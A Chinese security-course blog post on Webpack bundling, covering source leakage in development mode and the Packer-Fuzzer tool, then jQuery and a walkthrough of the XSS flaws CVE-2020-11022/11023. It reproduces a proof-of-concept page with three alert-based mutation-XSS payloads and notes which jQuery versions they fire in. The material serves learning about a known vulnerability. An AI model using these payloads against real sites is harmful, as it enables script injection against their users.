第31天:安全开发-JS应用WebPack打包器第三方库JQuery安装使用安全检测

news2024/12/27 7:24:23

时间轴:

演示案例:

打包器-WebPack-使用&安全

第三方库-JQuery-使用&安全

打包器-WebPack-使用&安全

参考:https://mp.weixin.qq.com/s/J3bpy-SsCnQ1lBov1L98WA

Webpack 是一个模块打包器。在 Webpack 中会将前端的所有资源文件都作为模块处理。 它将根据模块的依赖关系进行分析,生成对应的资源。

五个核心概念:

1. 【入口(entry)】:指示 webpack 应该使用哪个模块,来作为构建内部依赖图开始。

2. 【输出(output)】:在哪里输出文件,以及如何命名这些文件。

3. 【Loader】:处理那些非 JavaScript 文件(webpack 自身只能解析 JavaScript 和 json)。webpack 本身只能处理 JS、JSON 模块,如果要加载其他类 型的文件(模块),就需要使用对应的 loader。

4. 【插件(plugins)】:执行范围更广的任务,从打包到优化都可以实现。

5. 【模式(mode)】:有生产模式 production 和开发模式 development。

development开发模式源码会泄露,production不会泄露源码。

使用:

1、创建需打包文件

2、安装 webpack 库

3、创建 webpack 配置文件

4、运行 webpack 打包命令

Webpack使用:

webpack就是减少了文件的调用,使用一个文件就可以包含其他文件的内容。

下面这两个放入js文件中:

sum.js:
export default function sum(x,y){
    return x+y;
}
count.js:
export default function count(x,y){
    return x-y;
}

 main.js和js放在同一目录。

main.js:
import count from "./js/count"; //调用js中的count函数
import sum from "./js/sum";     //调用js中的sum函数

console.log(count(2,1));
console.log(sum(2,1));
 index.html:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <!-- <script src="src/js/sum.js"></script>
    <script src="src/js/count.js"></script> 
    <script src="src/main.js"></script> -->  //使用此函数将不用在一步步调用以上函数及文件
    <script src="dist/bundle.js"></script>   //使用打包得到的bundle.js
</body>
</html>
全局安装webpack:(在终端输入)

npm i webpack-cli -g   

创建webpack.config.js(配置文件)(最好不要改名)
const path = require('path'); // 引入path模块
// entry:输入是src下的mian文件
// output: 输出在dist文件夹下额bundle.js
module.exports = {
    entry: './src/main.js',
    output: {
        path: path.resolve(__dirname, 'dist'),   //将文件打包在dist目录下
        filename: 'bundle.js',
        clean: true,
    },
    mode:"development",    //源码会泄露
    //mode:"production",
    
};
运行使用:(在终端输入)

npx webpack

运行结果:

使用打包器和不适用打包器的区别:

使用打包器:

<body>
    <script src="dist/bundle.js"></script>   //使用打包得到的bundle.js
</body>

不使用打包器:

<body>
    <script src="src/js/sum.js"></script>
    <script src="src/js/count.js"></script> 
    <script src="src/main.js"></script>
</body>
 development模式和production模式的区别:

 development模式:

开发者模式几乎可以看到全部文件及内容(development)

production模式:(切换模式时需要重新打包)

只有(()=>{"use strict";console.log(1),console.log(3)})();直接显示结果

安全:

1、WebPack 源码泄漏-模式选择

development和production模式选择。

developmen会泄露源码,production不会泄露源码。

2、模糊提取安全检查-PacketFuzzer

https://github.com/rtcatc/Packer-Fuzzer

原生态 JS:前端语言直接浏览器显示源代码

NodeJS:服务段语言浏览器不显示源代码

WebPack:打包模式选择开发者模式后会造成源码泄漏(nodejs vue)

原本node.js是不会泄露源码的,但使用了development模式后可能会泄露源码。

真实案例:

顺丰快递(已被修复)

可以看到由vue进行的搭建

PacketFuzzer:

用来提取Web关键信息的。

第三方库-JQuery-使用&安全

jQuery 是一个快速、简洁的 JavaScript 框架,是一个丰富的 JavaScript 代码库。 设计目的是为了写更少的代码,做更多的事情。它封装 JavaScript 常用功能代码,提 供一种简便的 JavaScript 设计模式,优化 HTML 文档操作、事件处理、动画设计和 Ajax 交互。

1、使用:

引用路径:https://www.jq22.com/jquery-info122

2、安全:

检测:http://research.insecurelabs.org/jquery/test/

测试:

CVE-2020-11022/CVE-2020-11023

参考:

https://blog.csdn.net/weixin_44309905/article/details/120902867


jquery漏洞总结:
https://cloud.tencent.com/developer/article/1516331

如何搜索到第三方库:

搜索方式:

结果:

案例演示:Jquery不同版本漏洞

网页代码:
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
	<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
    <!-- <script src="https://code.jquery.com/jquery-3.4.1.min.js"></script> -->
</head>
<body>
<script>
function test(n,jq){
    sanitizedHTML = document.getElementById('poc'+n).innerHTML;
    if(jq){
        $('#div').html(sanitizedHTML);
    }else{
        div.innerHTML=sanitizedHTML;
    }
}
</script>
<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
<p>PoCs of XSS bugs fixed in <a href="https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p>

<h2>PoC 1</h2>
<button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>
<xmp id="poc1">
<style><style /><img src=yy onerror=alert(1)> 
</xmp>

<h2>PoC 2 (Only jQuery 3.x affected)</h2>
<button onclick="test(2)">Assign to innerHTML</button> <button onclick="test(2,true)">Append via .html()</button>
<xmp id="poc2">
<img alt="<x" title="/><img src=yy onerror=alert(1)>">
</xmp>

<h2>PoC 3</h2>
<button onclick="test(3)">Assign to innerHTML</button> <button onclick="test(3,true)">Append via .html()</button>
<xmp id="poc3">
<option><style></option></select><img src=yy onerror=alert(1)></style>
</xmp>

<div id="div"></div>
</body>
</html>
代码逻辑:

为什么写在前面的alert(1)弹窗,因为他放在<xmp>代码中。

jquery版本3.4.1版本:(会显示弹窗)

此次点击Append via.html()会显示弹窗

jquery版本3.5.1版本:(点击后没有弹窗)

此次是点击append via.html()没有弹窗。

总结:

Jquery内置的过滤:

本身dom:
<style><style /><img src=yy οnerrοr=alert(1)> 

3.5.1:
<style><style /><img src=yy οnerrοr=alert(1)> </style>

3.4.1:
<style><style ></style><img src="yy" οnerrοr="alert(1)"> 

利用漏洞:
版本符合,<style><style ></style><img src="yy" οnerrοr="alert(1)"> 值可控 就可以造成xss

能够造成漏洞的原因:

内置过滤:

jQuery框架漏洞全总结及开发建议_jquery漏洞-CSDN博客

此文章由李豆豆喵和番薯小羊卷~共同完成。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2253799.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

开发者如何使用GCC提升开发效率Opencv操作

看此篇前请先阅读 https://blog.csdn.net/qq_20330595/article/details/144134160?spm=1001.2014.3001.5502 https://blog.csdn.net/qq_20330595/article/details/144134160?spm=1001.2014.3001.5502 https://blog.csdn.net/qq_20330595/article/details/144216351?spm=1001…

使用PaddlePaddle实现线性回归模型

目录 ​编辑 引言 PaddlePaddle简介 线性回归模型的构建 1. 准备数据 2. 定义模型 3. 准备数据加载器 4. 定义损失函数和优化器 5. 训练模型 6. 评估模型 7. 预测 结论 引言 线性回归是统计学和机器学习中一个经典的算法&#xff0c;用于预测一个因变量&#xff0…

图像处理网络中的模型水印

论文信息&#xff1a;Jie Zhang、Han Fang、Weiming Zhang、Wenbo Zhou、Hao Cui、Hao Cui、Nenghai Yu&#xff1a;Model Watermarking for Image Processing Networks 本文首次提出了图像处理网络中深度水印问题&#xff0c;将知识产权问题引入图像处理模型 提出了第一个深…

全面UI组件库Telerik 2024 Q4全新发布——官方宣布支持.NET 9

Telerik DevCraft包含一个完整的产品栈来构建您下一个Web、移动和桌面应用程序。它使用HTML和每个.NET平台的UI库&#xff0c;加快开发速度。Telerik DevCraft提供最完整的工具箱&#xff0c;用于构建现代和面向未来的业务应用程序&#xff0c;目前提供UI for ASP.NET MVC、Ken…

计算机毕业设计hadoop+spark民宿推荐系统 民宿数据分析可视化大屏 民宿爬虫 民宿大数据 知识图谱 机器学习 大数据毕业设计

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…

工业—使用Flink处理Kafka中的数据_ChangeRecord1

使用 Flink 消费 Kafka 中 ChangeRecord 主题的数据,当某设备 30 秒状态连续为 “ 预警 ” ,输出预警 信息。当前预警信息输出后,最近30

【Android】从事件分发开始:原理解析如何解决滑动冲突

【Android】从事件分发开始&#xff1a;原理解析如何解决滑动冲突 文章目录 【Android】从事件分发开始&#xff1a;原理解析如何解决滑动冲突Activity层级结构浅析Activity的setContentView源码浅析AppCompatActivity的setContentView源码 触控三分显纷争&#xff0c;滑动冲突…

消息中间件-Kafka2-3.9.0源码构建

消息中间件-Kafka2-3.9.0源码构建 1、软件环境 JDK Version 1.8Scala Version 2.12.0Kafka-3.9.0 源码包 下载地址&#xff1a;https://downloads.apache.org/kafka/3.9.0/kafka-3.9.0-src.tgzGradle Version > 8.8Apache Zookeeper 3.7.0 2、源码编译 打开源码根目录修改…

【ElasticSearch】倒排索引与ik分词器

ElasticSearch&#xff0c;简称ES(后文将直接使用这一简称)&#xff0c;是一款卓越的开源分布式搜索引擎。其独特之处在于其近乎实时的数据检索能力&#xff0c;为用户提供了迅速、高效的信息查询体验。 它能够解决全文检索&#xff0c;模糊查询、数据分析等问题。那么它的搜索…

【开源免费】基于Vue和SpringBoot的洗衣店订单管理系统(附论文)

博主说明&#xff1a;本文项目编号 T 068 &#xff0c;文末自助获取源码 \color{red}{T068&#xff0c;文末自助获取源码} T068&#xff0c;文末自助获取源码 目录 一、系统介绍二、演示录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状5.3 可行性分析…

CAN接口设计

CAN总线的拓扑结构 CAN总线的拓扑结构有点像485总线,都是差分的传输方式,总线上都可以支持多个设备,端接匹配电阻都是120Ω。 485和CAN通信方面最大的区别:网络特性。485是一主多从的通讯方式,CAN是多主通讯,多个设备都可以做主机。那多个设备都相要控制总线呢?…

Keil5配色方案修改为类似VSCode配色

1. 为什么修改Keil5配色方案 视觉习惯&#xff1a;如果你已经习惯了VSCode的配色方案&#xff0c;尤其是在使用ESP-IDF开发ESP32时&#xff0c;Keil5的默认配色可能会让你感到不习惯。减少视觉疲劳&#xff1a;Keil5的默认背景可能过于明亮&#xff0c;长时间使用可能会导致视…

C++设计模式之外观模式

动机 下图中左边方案的问题在于组件的客户和组件中各种复杂的子系统有了过多的耦合&#xff0c;随着外部客户程序和各子系统的演化&#xff0c;这种过多的耦合面临很多变化的挑战。 如何简化外部客户程序和系统间的交互接口&#xff1f;如何将外部客户程序的演化和内部子系统…

矩阵转置        ‌‍‎‏

矩阵转置 C语言代码C 语言代码Java语言代码Python语言代码 &#x1f490;The Begin&#x1f490;点点关注&#xff0c;收藏不迷路&#x1f490; 输入一个n行m列的矩阵A&#xff0c;输出它的转置 A T A^T AT。 输入 第一行包含两个整数n和m&#xff0c;表示矩阵A的行数和列数。…

Linux输入设备应用编程

本章学习输入设备的应用编程&#xff0c;首先要知道什么是输入设备&#xff1f;输入设备其实就是能够产生输入事件的设备就称为输入设备&#xff0c;常见的输入设备包括鼠标、键盘、触摸屏、按钮等等&#xff0c;它们都能够产生输入事件&#xff0c;产生输入数据给计算机系统。…

STM32MX 配置CANFD收发通讯

一、环境 MCU&#xff1a;STM32G0B1CEU6 CAN收发器&#xff1a;JIA1042 二、MX配置 配置SYS 配置canfd并开启中断&#xff0c;我开了两个FDCAN&#xff0c;配置是一样的&#xff0c;这里贴一下波特率的计算公式&#xff1a; 也就是&#xff1a;CAN时钟频率/预分频器/&…

第100+32步 ChatGPT学习:时间序列EMD分解

基于Python 3.9版本演示 一、写在前面 之前我们介绍过时间序列的季节性分解。 最近又学到了好几种骚操作分解&#xff0c;且可以用这些分解优化时间序列预测性能。 首先&#xff0c;我们来学一学经验模态分解&#xff08;Empirical Mode Decomposition&#xff0c;EMD&#…

Spring Shell如何与SpringBoot集成并快速创建命令行界面 (CLI) 应用程序

Spring Shell 介绍 Spring Shell 是一个强大的工具&#xff0c;可用于构建命令行应用程序&#xff0c;提供了简单的方式来创建和管理交互式 CLI。它适合那些希望通过命令行与 Java 应用程序进行交互的开发者&#xff0c;尤其是在需要自动化、交互式输入或与 Spring 生态系统集…

后端返回前端的数据量过大解决方案

后端返回前端的数据量过大解决方案 性能面板(Performance) chrome调试指南 原因 遇到一个页面有好几个表格&#xff0c;部分表格采用虚拟滚动条 数据量有点大 接近快60s了&#xff0c;看一下是哪里导致的慢 后台请求方法执行并不慢 2024-12-04 15:21:52.889 INFO 69948 …

linux 系列服务器 高并发下ulimit优化文档

系统输入 ulimit -a 结果如下 解除 Linux 系统的最大进程数 要解除或提高 Linux 系统的最大进程数&#xff0c;可以修改 ulimit 设置和 /etc/security/limits.conf 文件中的限制。 临时修改 ulimit 设置 可以使用 ulimit 命令来查看和修改当前会话的最大进程数&#xff1a; 查…